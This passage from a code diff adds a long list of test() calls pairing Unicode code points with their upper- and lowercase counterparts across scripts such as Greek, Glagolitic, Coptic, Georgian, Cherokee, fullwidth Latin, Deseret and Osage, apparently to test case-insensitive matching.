+test(0x1f57,0x1f5f);
+test(0x1f59,0x1f51);
+test(0x1f5b,0x1f53);
+test(0x1f5d,0x1f55);
+test(0x1f5f,0x1f57);
+test(0x1f60,0x1f68);
+test(0x1f61,0x1f69);
+test(0x1f62,0x1f6a);
+test(0x1f63,0x1f6b);
+test(0x1f64,0x1f6c);
+test(0x1f65,0x1f6d);
+test(0x1f66,0x1f6e);
+test(0x1f67,0x1f6f);
+test(0x1f68,0x1f60);
+test(0x1f69,0x1f61);
+test(0x1f6a,0x1f62);
+test(0x1f6b,0x1f63);
+test(0x1f6c,0x1f64);
+test(0x1f6d,0x1f65);
+test(0x1f6e,0x1f66);
+test(0x1f6f,0x1f67);
+test(0x1f70,0x1fba);
+test(0x1f71,0x1fbb);
+test(0x1f72,0x1fc8);
+test(0x1f73,0x1fc9);
+test(0x1f74,0x1fca);
+test(0x1f75,0x1fcb);
+test(0x1f76,0x1fda);
+test(0x1f77,0x1fdb);
+test(0x1f78,0x1ff8);
+test(0x1f79,0x1ff9);
+test(0x1f7a,0x1fea);
+test(0x1f7b,0x1feb);
+test(0x1f7c,0x1ffa);
+test(0x1f7d,0x1ffb);
+test(0x1f80,0x1f88);
+test(0x1f81,0x1f89);
+test(0x1f82,0x1f8a);
+test(0x1f83,0x1f8b);
+test(0x1f84,0x1f8c);
+test(0x1f85,0x1f8d);
+test(0x1f86,0x1f8e);
+test(0x1f87,0x1f8f);
+test(0x1f88,0x1f80);
+test(0x1f89,0x1f81);
+test(0x1f8a,0x1f82);
+test(0x1f8b,0x1f83);
+test(0x1f8c,0x1f84);
+test(0x1f8d,0x1f85);
+test(0x1f8e,0x1f86);
+test(0x1f8f,0x1f87);
+test(0x1f90,0x1f98);
+test(0x1f91,0x1f99);
+test(0x1f92,0x1f9a);
+test(0x1f93,0x1f9b);
+test(0x1f94,0x1f9c);
+test(0x1f95,0x1f9d);
+test(0x1f96,0x1f9e);
+test(0x1f97,0x1f9f);
+test(0x1f98,0x1f90);
+test(0x1f99,0x1f91);
+test(0x1f9a,0x1f92);
+test(0x1f9b,0x1f93);
+test(0x1f9c,0x1f94);
+test(0x1f9d,0x1f95);
+test(0x1f9e,0x1f96);
+test(0x1f9f,0x1f97);
+test(0x1fa0,0x1fa8);
+test(0x1fa1,0x1fa9);
+test(0x1fa2,0x1faa);
+test(0x1fa3,0x1fab);
+test(0x1fa4,0x1fac);
+test(0x1fa5,0x1fad);
+test(0x1fa6,0x1fae);
+test(0x1fa7,0x1faf);
+test(0x1fa8,0x1fa0);
+test(0x1fa9,0x1fa1);
+test(0x1faa,0x1fa2);
+test(0x1fab,0x1fa3);
+test(0x1fac,0x1fa4);
+test(0x1fad,0x1fa5);
+test(0x1fae,0x1fa6);
+test(0x1faf,0x1fa7);
+test(0x1fb0,0x1fb8);
+test(0x1fb1,0x1fb9);
+test(0x1fb3,0x1fbc);
+test(0x1fb8,0x1fb0);
+test(0x1fb9,0x1fb1);
+test(0x1fba,0x1f70);
+test(0x1fbb,0x1f71);
+test(0x1fbc,0x1fb3);
+test(0x1fbe,0x3b9,0x345,0x399);
+test(0x1fc3,0x1fcc);
+test(0x1fc8,0x1f72);
+test(0x1fc9,0x1f73);
+test(0x1fca,0x1f74);
+test(0x1fcb,0x1f75);
+test(0x1fcc,0x1fc3);
+test(0x1fd0,0x1fd8);
+test(0x1fd1,0x1fd9);
+test(0x1fd8,0x1fd0);
+test(0x1fd9,0x1fd1);
+test(0x1fda,0x1f76);
+test(0x1fdb,0x1f77);
+test(0x1fe0,0x1fe8);
+test(0x1fe1,0x1fe9);
+test(0x1fe5,0x1fec);
+test(0x1fe8,0x1fe0);
+test(0x1fe9,0x1fe1);
+test(0x1fea,0x1f7a);
+test(0x1feb,0x1f7b);
+test(0x1fec,0x1fe5);
+test(0x1ff3,0x1ffc);
+test(0x1ff8,0x1f78);
+test(0x1ff9,0x1f79);
+test(0x1ffa,0x1f7c);
+test(0x1ffb,0x1f7d);
+test(0x1ffc,0x1ff3);
+test(0x2126,0x3c9,0x3a9);
+test(0x212a,0x6b,0x4b);
+test(0x212b,0xe5,0xc5);
+test(0x2132,0x214e);
+test(0x214e,0x2132);
+test(0x2160,0x2170);
+test(0x2161,0x2171);
+test(0x2162,0x2172);
+test(0x2163,0x2173);
+test(0x2164,0x2174);
+test(0x2165,0x2175);
+test(0x2166,0x2176);
+test(0x2167,0x2177);
+test(0x2168,0x2178);
+test(0x2169,0x2179);
+test(0x216a,0x217a);
+test(0x216b,0x217b);
+test(0x216c,0x217c);
+test(0x216d,0x217d);
+test(0x216e,0x217e);
+test(0x216f,0x217f);
+test(0x2170,0x2160);
+test(0x2171,0x2161);
+test(0x2172,0x2162);
+test(0x2173,0x2163);
+test(0x2174,0x2164);
+test(0x2175,0x2165);
+test(0x2176,0x2166);
+test(0x2177,0x2167);
+test(0x2178,0x2168);
+test(0x2179,0x2169);
+test(0x217a,0x216a);
+test(0x217b,0x216b);
+test(0x217c,0x216c);
+test(0x217d,0x216d);
+test(0x217e,0x216e);
+test(0x217f,0x216f);
+test(0x2183,0x2184);
+test(0x2184,0x2183);
+test(0x24b6,0x24d0);
+test(0x24b7,0x24d1);
+test(0x24b8,0x24d2);
+test(0x24b9,0x24d3);
+test(0x24ba,0x24d4);
+test(0x24bb,0x24d5);
+test(0x24bc,0x24d6);
+test(0x24bd,0x24d7);
+test(0x24be,0x24d8);
+test(0x24bf,0x24d9);
+test(0x24c0,0x24da);
+test(0x24c1,0x24db);
+test(0x24c2,0x24dc);
+test(0x24c3,0x24dd);
+test(0x24c4,0x24de);
+test(0x24c5,0x24df);
+test(0x24c6,0x24e0);
+test(0x24c7,0x24e1);
+test(0x24c8,0x24e2);
+test(0x24c9,0x24e3);
+test(0x24ca,0x24e4);
+test(0x24cb,0x24e5);
+test(0x24cc,0x24e6);
+test(0x24cd,0x24e7);
+test(0x24ce,0x24e8);
+test(0x24cf,0x24e9);
+test(0x24d0,0x24b6);
+test(0x24d1,0x24b7);
+test(0x24d2,0x24b8);
+test(0x24d3,0x24b9);
+test(0x24d4,0x24ba);
+test(0x24d5,0x24bb);
+test(0x24d6,0x24bc);
+test(0x24d7,0x24bd);
+test(0x24d8,0x24be);
+test(0x24d9,0x24bf);
+test(0x24da,0x24c0);
+test(0x24db,0x24c1);
+test(0x24dc,0x24c2);
+test(0x24dd,0x24c3);
+test(0x24de,0x24c4);
+test(0x24df,0x24c5);
+test(0x24e0,0x24c6);
+test(0x24e1,0x24c7);
+test(0x24e2,0x24c8);
+test(0x24e3,0x24c9);
+test(0x24e4,0x24ca);
+test(0x24e5,0x24cb);
+test(0x24e6,0x24cc);
+test(0x24e7,0x24cd);
+test(0x24e8,0x24ce);
+test(0x24e9,0x24cf);
+test(0x2c00,0x2c30);
+test(0x2c01,0x2c31);
+test(0x2c02,0x2c32);
+test(0x2c03,0x2c33);
+test(0x2c04,0x2c34);
+test(0x2c05,0x2c35);
+test(0x2c06,0x2c36);
+test(0x2c07,0x2c37);
+test(0x2c08,0x2c38);
+test(0x2c09,0x2c39);
+test(0x2c0a,0x2c3a);
+test(0x2c0b,0x2c3b);
+test(0x2c0c,0x2c3c);
+test(0x2c0d,0x2c3d);
+test(0x2c0e,0x2c3e);
+test(0x2c0f,0x2c3f);
+test(0x2c10,0x2c40);
+test(0x2c11,0x2c41);
+test(0x2c12,0x2c42);
+test(0x2c13,0x2c43);
+test(0x2c14,0x2c44);
+test(0x2c15,0x2c45);
+test(0x2c16,0x2c46);
+test(0x2c17,0x2c47);
+test(0x2c18,0x2c48);
+test(0x2c19,0x2c49);
+test(0x2c1a,0x2c4a);
+test(0x2c1b,0x2c4b);
+test(0x2c1c,0x2c4c);
+test(0x2c1d,0x2c4d);
+test(0x2c1e,0x2c4e);
+test(0x2c1f,0x2c4f);
+test(0x2c20,0x2c50);
+test(0x2c21,0x2c51);
+test(0x2c22,0x2c52);
+test(0x2c23,0x2c53);
+test(0x2c24,0x2c54);
+test(0x2c25,0x2c55);
+test(0x2c26,0x2c56);
+test(0x2c27,0x2c57);
+test(0x2c28,0x2c58);
+test(0x2c29,0x2c59);
+test(0x2c2a,0x2c5a);
+test(0x2c2b,0x2c5b);
+test(0x2c2c,0x2c5c);
+test(0x2c2d,0x2c5d);
+test(0x2c2e,0x2c5e);
+test(0x2c30,0x2c00);
+test(0x2c31,0x2c01);
+test(0x2c32,0x2c02);
+test(0x2c33,0x2c03);
+test(0x2c34,0x2c04);
+test(0x2c35,0x2c05);
+test(0x2c36,0x2c06);
+test(0x2c37,0x2c07);
+test(0x2c38,0x2c08);
+test(0x2c39,0x2c09);
+test(0x2c3a,0x2c0a);
+test(0x2c3b,0x2c0b);
+test(0x2c3c,0x2c0c);
+test(0x2c3d,0x2c0d);
+test(0x2c3e,0x2c0e);
+test(0x2c3f,0x2c0f);
+test(0x2c40,0x2c10);
+test(0x2c41,0x2c11);
+test(0x2c42,0x2c12);
+test(0x2c43,0x2c13);
+test(0x2c44,0x2c14);
+test(0x2c45,0x2c15);
+test(0x2c46,0x2c16);
+test(0x2c47,0x2c17);
+test(0x2c48,0x2c18);
+test(0x2c49,0x2c19);
+test(0x2c4a,0x2c1a);
+test(0x2c4b,0x2c1b);
+test(0x2c4c,0x2c1c);
+test(0x2c4d,0x2c1d);
+test(0x2c4e,0x2c1e);
+test(0x2c4f,0x2c1f);
+test(0x2c50,0x2c20);
+test(0x2c51,0x2c21);
+test(0x2c52,0x2c22);
+test(0x2c53,0x2c23);
+test(0x2c54,0x2c24);
+test(0x2c55,0x2c25);
+test(0x2c56,0x2c26);
+test(0x2c57,0x2c27);
+test(0x2c58,0x2c28);
+test(0x2c59,0x2c29);
+test(0x2c5a,0x2c2a);
+test(0x2c5b,0x2c2b);
+test(0x2c5c,0x2c2c);
+test(0x2c5d,0x2c2d);
+test(0x2c5e,0x2c2e);
+test(0x2c60,0x2c61);
+test(0x2c61,0x2c60);
+test(0x2c62,0x26b);
+test(0x2c63,0x1d7d);
+test(0x2c64,0x27d);
+test(0x2c65,0x23a);
+test(0x2c66,0x23e);
+test(0x2c67,0x2c68);
+test(0x2c68,0x2c67);
+test(0x2c69,0x2c6a);
+test(0x2c6a,0x2c69);
+test(0x2c6b,0x2c6c);
+test(0x2c6c,0x2c6b);
+test(0x2c6d,0x251);
+test(0x2c6e,0x271);
+test(0x2c6f,0x250);
+test(0x2c70,0x252);
+test(0x2c72,0x2c73);
+test(0x2c73,0x2c72);
+test(0x2c75,0x2c76);
+test(0x2c76,0x2c75);
+test(0x2c7e,0x23f);
+test(0x2c7f,0x240);
+test(0x2c80,0x2c81);
+test(0x2c81,0x2c80);
+test(0x2c82,0x2c83);
+test(0x2c83,0x2c82);
+test(0x2c84,0x2c85);
+test(0x2c85,0x2c84);
+test(0x2c86,0x2c87);
+test(0x2c87,0x2c86);
+test(0x2c88,0x2c89);
+test(0x2c89,0x2c88);
+test(0x2c8a,0x2c8b);
+test(0x2c8b,0x2c8a);
+test(0x2c8c,0x2c8d);
+test(0x2c8d,0x2c8c);
+test(0x2c8e,0x2c8f);
+test(0x2c8f,0x2c8e);
+test(0x2c90,0x2c91);
+test(0x2c91,0x2c90);
+test(0x2c92,0x2c93);
+test(0x2c93,0x2c92);
+test(0x2c94,0x2c95);
+test(0x2c95,0x2c94);
+test(0x2c96,0x2c97);
+test(0x2c97,0x2c96);
+test(0x2c98,0x2c99);
+test(0x2c99,0x2c98);
+test(0x2c9a,0x2c9b);
+test(0x2c9b,0x2c9a);
+test(0x2c9c,0x2c9d);
+test(0x2c9d,0x2c9c);
+test(0x2c9e,0x2c9f);
+test(0x2c9f,0x2c9e);
+test(0x2ca0,0x2ca1);
+test(0x2ca1,0x2ca0);
+test(0x2ca2,0x2ca3);
+test(0x2ca3,0x2ca2);
+test(0x2ca4,0x2ca5);
+test(0x2ca5,0x2ca4);
+test(0x2ca6,0x2ca7);
+test(0x2ca7,0x2ca6);
+test(0x2ca8,0x2ca9);
+test(0x2ca9,0x2ca8);
+test(0x2caa,0x2cab);
+test(0x2cab,0x2caa);
+test(0x2cac,0x2cad);
+test(0x2cad,0x2cac);
+test(0x2cae,0x2caf);
+test(0x2caf,0x2cae);
+test(0x2cb0,0x2cb1);
+test(0x2cb1,0x2cb0);
+test(0x2cb2,0x2cb3);
+test(0x2cb3,0x2cb2);
+test(0x2cb4,0x2cb5);
+test(0x2cb5,0x2cb4);
+test(0x2cb6,0x2cb7);
+test(0x2cb7,0x2cb6);
+test(0x2cb8,0x2cb9);
+test(0x2cb9,0x2cb8);
+test(0x2cba,0x2cbb);
+test(0x2cbb,0x2cba);
+test(0x2cbc,0x2cbd);
+test(0x2cbd,0x2cbc);
+test(0x2cbe,0x2cbf);
+test(0x2cbf,0x2cbe);
+test(0x2cc0,0x2cc1);
+test(0x2cc1,0x2cc0);
+test(0x2cc2,0x2cc3);
+test(0x2cc3,0x2cc2);
+test(0x2cc4,0x2cc5);
+test(0x2cc5,0x2cc4);
+test(0x2cc6,0x2cc7);
+test(0x2cc7,0x2cc6);
+test(0x2cc8,0x2cc9);
+test(0x2cc9,0x2cc8);
+test(0x2cca,0x2ccb);
+test(0x2ccb,0x2cca);
+test(0x2ccc,0x2ccd);
+test(0x2ccd,0x2ccc);
+test(0x2cce,0x2ccf);
+test(0x2ccf,0x2cce);
+test(0x2cd0,0x2cd1);
+test(0x2cd1,0x2cd0);
+test(0x2cd2,0x2cd3);
+test(0x2cd3,0x2cd2);
+test(0x2cd4,0x2cd5);
+test(0x2cd5,0x2cd4);
+test(0x2cd6,0x2cd7);
+test(0x2cd7,0x2cd6);
+test(0x2cd8,0x2cd9);
+test(0x2cd9,0x2cd8);
+test(0x2cda,0x2cdb);
+test(0x2cdb,0x2cda);
+test(0x2cdc,0x2cdd);
+test(0x2cdd,0x2cdc);
+test(0x2cde,0x2cdf);
+test(0x2cdf,0x2cde);
+test(0x2ce0,0x2ce1);
+test(0x2ce1,0x2ce0);
+test(0x2ce2,0x2ce3);
+test(0x2ce3,0x2ce2);
+test(0x2ceb,0x2cec);
+test(0x2cec,0x2ceb);
+test(0x2ced,0x2cee);
+test(0x2cee,0x2ced);
+test(0x2cf2,0x2cf3);
+test(0x2cf3,0x2cf2);
+test(0x2d00,0x10a0);
+test(0x2d01,0x10a1);
+test(0x2d02,0x10a2);
+test(0x2d03,0x10a3);
+test(0x2d04,0x10a4);
+test(0x2d05,0x10a5);
+test(0x2d06,0x10a6);
+test(0x2d07,0x10a7);
+test(0x2d08,0x10a8);
+test(0x2d09,0x10a9);
+test(0x2d0a,0x10aa);
+test(0x2d0b,0x10ab);
+test(0x2d0c,0x10ac);
+test(0x2d0d,0x10ad);
+test(0x2d0e,0x10ae);
+test(0x2d0f,0x10af);
+test(0x2d10,0x10b0);
+test(0x2d11,0x10b1);
+test(0x2d12,0x10b2);
+test(0x2d13,0x10b3);
+test(0x2d14,0x10b4);
+test(0x2d15,0x10b5);
+test(0x2d16,0x10b6);
+test(0x2d17,0x10b7);
+test(0x2d18,0x10b8);
+test(0x2d19,0x10b9);
+test(0x2d1a,0x10ba);
+test(0x2d1b,0x10bb);
+test(0x2d1c,0x10bc);
+test(0x2d1d,0x10bd);
+test(0x2d1e,0x10be);
+test(0x2d1f,0x10bf);
+test(0x2d20,0x10c0);
+test(0x2d21,0x10c1);
+test(0x2d22,0x10c2);
+test(0x2d23,0x10c3);
+test(0x2d24,0x10c4);
+test(0x2d25,0x10c5);
+test(0x2d27,0x10c7);
+test(0x2d2d,0x10cd);
+test(0xa640,0xa641);
+test(0xa641,0xa640);
+test(0xa642,0xa643);
+test(0xa643,0xa642);
+test(0xa644,0xa645);
+test(0xa645,0xa644);
+test(0xa646,0xa647);
+test(0xa647,0xa646);
+test(0xa648,0xa649);
+test(0xa649,0xa648);
+test(0xa64a,0xa64b,0x1c88);
+test(0xa64b,0x1c88,0xa64a);
+test(0xa64c,0xa64d);
+test(0xa64d,0xa64c);
+test(0xa64e,0xa64f);
+test(0xa64f,0xa64e);
+test(0xa650,0xa651);
+test(0xa651,0xa650);
+test(0xa652,0xa653);
+test(0xa653,0xa652);
+test(0xa654,0xa655);
+test(0xa655,0xa654);
+test(0xa656,0xa657);
+test(0xa657,0xa656);
+test(0xa658,0xa659);
+test(0xa659,0xa658);
+test(0xa65a,0xa65b);
+test(0xa65b,0xa65a);
+test(0xa65c,0xa65d);
+test(0xa65d,0xa65c);
+test(0xa65e,0xa65f);
+test(0xa65f,0xa65e);
+test(0xa660,0xa661);
+test(0xa661,0xa660);
+test(0xa662,0xa663);
+test(0xa663,0xa662);
+test(0xa664,0xa665);
+test(0xa665,0xa664);
+test(0xa666,0xa667);
+test(0xa667,0xa666);
+test(0xa668,0xa669);
+test(0xa669,0xa668);
+test(0xa66a,0xa66b);
+test(0xa66b,0xa66a);
+test(0xa66c,0xa66d);
+test(0xa66d,0xa66c);
+test(0xa680,0xa681);
+test(0xa681,0xa680);
+test(0xa682,0xa683);
+test(0xa683,0xa682);
+test(0xa684,0xa685);
+test(0xa685,0xa684);
+test(0xa686,0xa687);
+test(0xa687,0xa686);
+test(0xa688,0xa689);
+test(0xa689,0xa688);
+test(0xa68a,0xa68b);
+test(0xa68b,0xa68a);
+test(0xa68c,0xa68d);
+test(0xa68d,0xa68c);
+test(0xa68e,0xa68f);
+test(0xa68f,0xa68e);
+test(0xa690,0xa691);
+test(0xa691,0xa690);
+test(0xa692,0xa693);
+test(0xa693,0xa692);
+test(0xa694,0xa695);
+test(0xa695,0xa694);
+test(0xa696,0xa697);
+test(0xa697,0xa696);
+test(0xa698,0xa699);
+test(0xa699,0xa698);
+test(0xa69a,0xa69b);
+test(0xa69b,0xa69a);
+test(0xa722,0xa723);
+test(0xa723,0xa722);
+test(0xa724,0xa725);
+test(0xa725,0xa724);
+test(0xa726,0xa727);
+test(0xa727,0xa726);
+test(0xa728,0xa729);
+test(0xa729,0xa728);
+test(0xa72a,0xa72b);
+test(0xa72b,0xa72a);
+test(0xa72c,0xa72d);
+test(0xa72d,0xa72c);
+test(0xa72e,0xa72f);
+test(0xa72f,0xa72e);
+test(0xa732,0xa733);
+test(0xa733,0xa732);
+test(0xa734,0xa735);
+test(0xa735,0xa734);
+test(0xa736,0xa737);
+test(0xa737,0xa736);
+test(0xa738,0xa739);
+test(0xa739,0xa738);
+test(0xa73a,0xa73b);
+test(0xa73b,0xa73a);
+test(0xa73c,0xa73d);
+test(0xa73d,0xa73c);
+test(0xa73e,0xa73f);
+test(0xa73f,0xa73e);
+test(0xa740,0xa741);
+test(0xa741,0xa740);
+test(0xa742,0xa743);
+test(0xa743,0xa742);
+test(0xa744,0xa745);
+test(0xa745,0xa744);
+test(0xa746,0xa747);
+test(0xa747,0xa746);
+test(0xa748,0xa749);
+test(0xa749,0xa748);
+test(0xa74a,0xa74b);
+test(0xa74b,0xa74a);
+test(0xa74c,0xa74d);
+test(0xa74d,0xa74c);
+test(0xa74e,0xa74f);
+test(0xa74f,0xa74e);
+test(0xa750,0xa751);
+test(0xa751,0xa750);
+test(0xa752,0xa753);
+test(0xa753,0xa752);
+test(0xa754,0xa755);
+test(0xa755,0xa754);
+test(0xa756,0xa757);
+test(0xa757,0xa756);
+test(0xa758,0xa759);
+test(0xa759,0xa758);
+test(0xa75a,0xa75b);
+test(0xa75b,0xa75a);
+test(0xa75c,0xa75d);
+test(0xa75d,0xa75c);
+test(0xa75e,0xa75f);
+test(0xa75f,0xa75e);
+test(0xa760,0xa761);
+test(0xa761,0xa760);
+test(0xa762,0xa763);
+test(0xa763,0xa762);
+test(0xa764,0xa765);
+test(0xa765,0xa764);
+test(0xa766,0xa767);
+test(0xa767,0xa766);
+test(0xa768,0xa769);
+test(0xa769,0xa768);
+test(0xa76a,0xa76b);
+test(0xa76b,0xa76a);
+test(0xa76c,0xa76d);
+test(0xa76d,0xa76c);
+test(0xa76e,0xa76f);
+test(0xa76f,0xa76e);
+test(0xa779,0xa77a);
+test(0xa77a,0xa779);
+test(0xa77b,0xa77c);
+test(0xa77c,0xa77b);
+test(0xa77d,0x1d79);
+test(0xa77e,0xa77f);
+test(0xa77f,0xa77e);
+test(0xa780,0xa781);
+test(0xa781,0xa780);
+test(0xa782,0xa783);
+test(0xa783,0xa782);
+test(0xa784,0xa785);
+test(0xa785,0xa784);
+test(0xa786,0xa787);
+test(0xa787,0xa786);
+test(0xa78b,0xa78c);
+test(0xa78c,0xa78b);
+test(0xa78d,0x265);
+test(0xa790,0xa791);
+test(0xa791,0xa790);
+test(0xa792,0xa793);
+test(0xa793,0xa792);
+test(0xa796,0xa797);
+test(0xa797,0xa796);
+test(0xa798,0xa799);
+test(0xa799,0xa798);
+test(0xa79a,0xa79b);
+test(0xa79b,0xa79a);
+test(0xa79c,0xa79d);
+test(0xa79d,0xa79c);
+test(0xa79e,0xa79f);
+test(0xa79f,0xa79e);
+test(0xa7a0,0xa7a1);
+test(0xa7a1,0xa7a0);
+test(0xa7a2,0xa7a3);
+test(0xa7a3,0xa7a2);
+test(0xa7a4,0xa7a5);
+test(0xa7a5,0xa7a4);
+test(0xa7a6,0xa7a7);
+test(0xa7a7,0xa7a6);
+test(0xa7a8,0xa7a9);
+test(0xa7a9,0xa7a8);
+test(0xa7aa,0x266);
+test(0xa7ab,0x25c);
+test(0xa7ac,0x261);
+test(0xa7ad,0x26c);
+test(0xa7ae,0x26a);
+test(0xa7b0,0x29e);
+test(0xa7b1,0x287);
+test(0xa7b2,0x29d);
+test(0xa7b3,0xab53);
+test(0xa7b4,0xa7b5);
+test(0xa7b5,0xa7b4);
+test(0xa7b6,0xa7b7);
+test(0xa7b7,0xa7b6);
+test(0xab53,0xa7b3);
+test(0xab70,0x13a0);
+test(0xab71,0x13a1);
+test(0xab72,0x13a2);
+test(0xab73,0x13a3);
+test(0xab74,0x13a4);
+test(0xab75,0x13a5);
+test(0xab76,0x13a6);
+test(0xab77,0x13a7);
+test(0xab78,0x13a8);
+test(0xab79,0x13a9);
+test(0xab7a,0x13aa);
+test(0xab7b,0x13ab);
+test(0xab7c,0x13ac);
+test(0xab7d,0x13ad);
+test(0xab7e,0x13ae);
+test(0xab7f,0x13af);
+test(0xab80,0x13b0);
+test(0xab81,0x13b1);
+test(0xab82,0x13b2);
+test(0xab83,0x13b3);
+test(0xab84,0x13b4);
+test(0xab85,0x13b5);
+test(0xab86,0x13b6);
+test(0xab87,0x13b7);
+test(0xab88,0x13b8);
+test(0xab89,0x13b9);
+test(0xab8a,0x13ba);
+test(0xab8b,0x13bb);
+test(0xab8c,0x13bc);
+test(0xab8d,0x13bd);
+test(0xab8e,0x13be);
+test(0xab8f,0x13bf);
+test(0xab90,0x13c0);
+test(0xab91,0x13c1);
+test(0xab92,0x13c2);
+test(0xab93,0x13c3);
+test(0xab94,0x13c4);
+test(0xab95,0x13c5);
+test(0xab96,0x13c6);
+test(0xab97,0x13c7);
+test(0xab98,0x13c8);
+test(0xab99,0x13c9);
+test(0xab9a,0x13ca);
+test(0xab9b,0x13cb);
+test(0xab9c,0x13cc);
+test(0xab9d,0x13cd);
+test(0xab9e,0x13ce);
+test(0xab9f,0x13cf);
+test(0xaba0,0x13d0);
+test(0xaba1,0x13d1);
+test(0xaba2,0x13d2);
+test(0xaba3,0x13d3);
+test(0xaba4,0x13d4);
+test(0xaba5,0x13d5);
+test(0xaba6,0x13d6);
+test(0xaba7,0x13d7);
+test(0xaba8,0x13d8);
+test(0xaba9,0x13d9);
+test(0xabaa,0x13da);
+test(0xabab,0x13db);
+test(0xabac,0x13dc);
+test(0xabad,0x13dd);
+test(0xabae,0x13de);
+test(0xabaf,0x13df);
+test(0xabb0,0x13e0);
+test(0xabb1,0x13e1);
+test(0xabb2,0x13e2);
+test(0xabb3,0x13e3);
+test(0xabb4,0x13e4);
+test(0xabb5,0x13e5);
+test(0xabb6,0x13e6);
+test(0xabb7,0x13e7);
+test(0xabb8,0x13e8);
+test(0xabb9,0x13e9);
+test(0xabba,0x13ea);
+test(0xabbb,0x13eb);
+test(0xabbc,0x13ec);
+test(0xabbd,0x13ed);
+test(0xabbe,0x13ee);
+test(0xabbf,0x13ef);
+test(0xff21,0xff41);
+test(0xff22,0xff42);
+test(0xff23,0xff43);
+test(0xff24,0xff44);
+test(0xff25,0xff45);
+test(0xff26,0xff46);
+test(0xff27,0xff47);
+test(0xff28,0xff48);
+test(0xff29,0xff49);
+test(0xff2a,0xff4a);
+test(0xff2b,0xff4b);
+test(0xff2c,0xff4c);
+test(0xff2d,0xff4d);
+test(0xff2e,0xff4e);
+test(0xff2f,0xff4f);
+test(0xff30,0xff50);
+test(0xff31,0xff51);
+test(0xff32,0xff52);
+test(0xff33,0xff53);
+test(0xff34,0xff54);
+test(0xff35,0xff55);
+test(0xff36,0xff56);
+test(0xff37,0xff57);
+test(0xff38,0xff58);
+test(0xff39,0xff59);
+test(0xff3a,0xff5a);
+test(0xff41,0xff21);
+test(0xff42,0xff22);
+test(0xff43,0xff23);
+test(0xff44,0xff24);
+test(0xff45,0xff25);
+test(0xff46,0xff26);
+test(0xff47,0xff27);
+test(0xff48,0xff28);
+test(0xff49,0xff29);
+test(0xff4a,0xff2a);
+test(0xff4b,0xff2b);
+test(0xff4c,0xff2c);
+test(0xff4d,0xff2d);
+test(0xff4e,0xff2e);
+test(0xff4f,0xff2f);
+test(0xff50,0xff30);
+test(0xff51,0xff31);
+test(0xff52,0xff32);
+test(0xff53,0xff33);
+test(0xff54,0xff34);
+test(0xff55,0xff35);
+test(0xff56,0xff36);
+test(0xff57,0xff37);
+test(0xff58,0xff38);
+test(0xff59,0xff39);
+test(0xff5a,0xff3a);
+test(0x10400,0x10428);
+test(0x10401,0x10429);
+test(0x10402,0x1042a);
+test(0x10403,0x1042b);
+test(0x10404,0x1042c);
+test(0x10405,0x1042d);
+test(0x10406,0x1042e);
+test(0x10407,0x1042f);
+test(0x10408,0x10430);
+test(0x10409,0x10431);
+test(0x1040a,0x10432);
+test(0x1040b,0x10433);
+test(0x1040c,0x10434);
+test(0x1040d,0x10435);
+test(0x1040e,0x10436);
+test(0x1040f,0x10437);
+test(0x10410,0x10438);
+test(0x10411,0x10439);
+test(0x10412,0x1043a);
+test(0x10413,0x1043b);
+test(0x10414,0x1043c);
+test(0x10415,0x1043d);
+test(0x10416,0x1043e);
+test(0x10417,0x1043f);
+test(0x10418,0x10440);
+test(0x10419,0x10441);
+test(0x1041a,0x10442);
+test(0x1041b,0x10443);
+test(0x1041c,0x10444);
+test(0x1041d,0x10445);
+test(0x1041e,0x10446);
+test(0x1041f,0x10447);
+test(0x10420,0x10448);
+test(0x10421,0x10449);
+test(0x10422,0x1044a);
+test(0x10423,0x1044b);
+test(0x10424,0x1044c);
+test(0x10425,0x1044d);
+test(0x10426,0x1044e);
+test(0x10427,0x1044f);
+test(0x10428,0x10400);
+test(0x10429,0x10401);
+test(0x1042a,0x10402);
+test(0x1042b,0x10403);
+test(0x1042c,0x10404);
+test(0x1042d,0x10405);
+test(0x1042e,0x10406);
+test(0x1042f,0x10407);
+test(0x10430,0x10408);
+test(0x10431,0x10409);
+test(0x10432,0x1040a);
+test(0x10433,0x1040b);
+test(0x10434,0x1040c);
+test(0x10435,0x1040d);
+test(0x10436,0x1040e);
+test(0x10437,0x1040f);
+test(0x10438,0x10410);
+test(0x10439,0x10411);
+test(0x1043a,0x10412);
+test(0x1043b,0x10413);
+test(0x1043c,0x10414);
+test(0x1043d,0x10415);
+test(0x1043e,0x10416);
+test(0x1043f,0x10417);
+test(0x10440,0x10418);
+test(0x10441,0x10419);
+test(0x10442,0x1041a);
+test(0x10443,0x1041b);
+test(0x10444,0x1041c);
+test(0x10445,0x1041d);
+test(0x10446,0x1041e);
+test(0x10447,0x1041f);
+test(0x10448,0x10420);
+test(0x10449,0x10421);
+test(0x1044a,0x10422);
+test(0x1044b,0x10423);
+test(0x1044c,0x10424);
+test(0x1044d,0x10425);
+test(0x1044e,0x10426);
+test(0x1044f,0x10427);
+test(0x104b0,0x104d8);
+test(0x104b1,0x104d9);
+test(0x104b2,0x104da);
+test(0x104b3,0x104db);
+test(0x104b4,0x104dc);
+test(0x104b5,0x104dd);
+test(0x104b6,0x104de);
+test(0x104b7,0x104df);
+test(0x104b8,0x104e0);
+test(0x104b9,0x104e1);
+test(0x104ba,0x104e2);
+test(0x104bb,0x104e3);
+test(0x104bc,0x104e4);
+test(0x104bd,0x104e5);
+test(0x104be,0x104e6);
+test(0x104bf,0x104e7);
+test(0x104c0,0x104e8);
+test(0x104c1,0x104e9);
+test(0x104c2,0x104ea);
+test(0x104c3,0x104eb);
+test(0x104c4,0x104ec);
+test(0x104c5,0x104ed);
+test(0x104c6,0x104ee);
+test(0x104c7,0x104ef);
+test(0x104c8,0x104f0);
+test(0x104c9,0x104f1);
+test(0x104ca,0x104f2);
+test(0x104cb,0x104f3);
+test(0x104cc,0x104f4);
+test(0x104cd,0x104f5);
+test(0x104ce,0x104f6);
+test(0x104cf,0x104f7);
+test(0x104d0,0x104f8);
+test(0x104d1,0x104f9);
+test(0x104d2,0x104fa);
+test(0x104d3,0x104fb);
+test(0x104d8,0x104b0);
+test(0x104d9,0x104b1);
+test(0x104da,0x104b2);
+test(0x104db,0x104b3);
+test(0x104dc,0x104b4);
+test(0x104dd,0x104b5);
+test(0x104de,0x104b6);
+test(0x104df,0x104b7);
+test(0x104e0,0x104b8);
+test(0x104e1,0x104b9);
+test(0x104e2,0x104ba);
+test(0x104e3,0x104bb);
+test(0x104e4,0x104bc);
+test(0x104e5,0x104bd);
+test(0x104e6,0x104be);
+test(0x104e7,0x104bf);
+test(0x104e8,0x104c0);
+test(0x104e9,0x104c1);
+test(0x104ea,0x104c2);
+test(0x104eb,0x104c3);
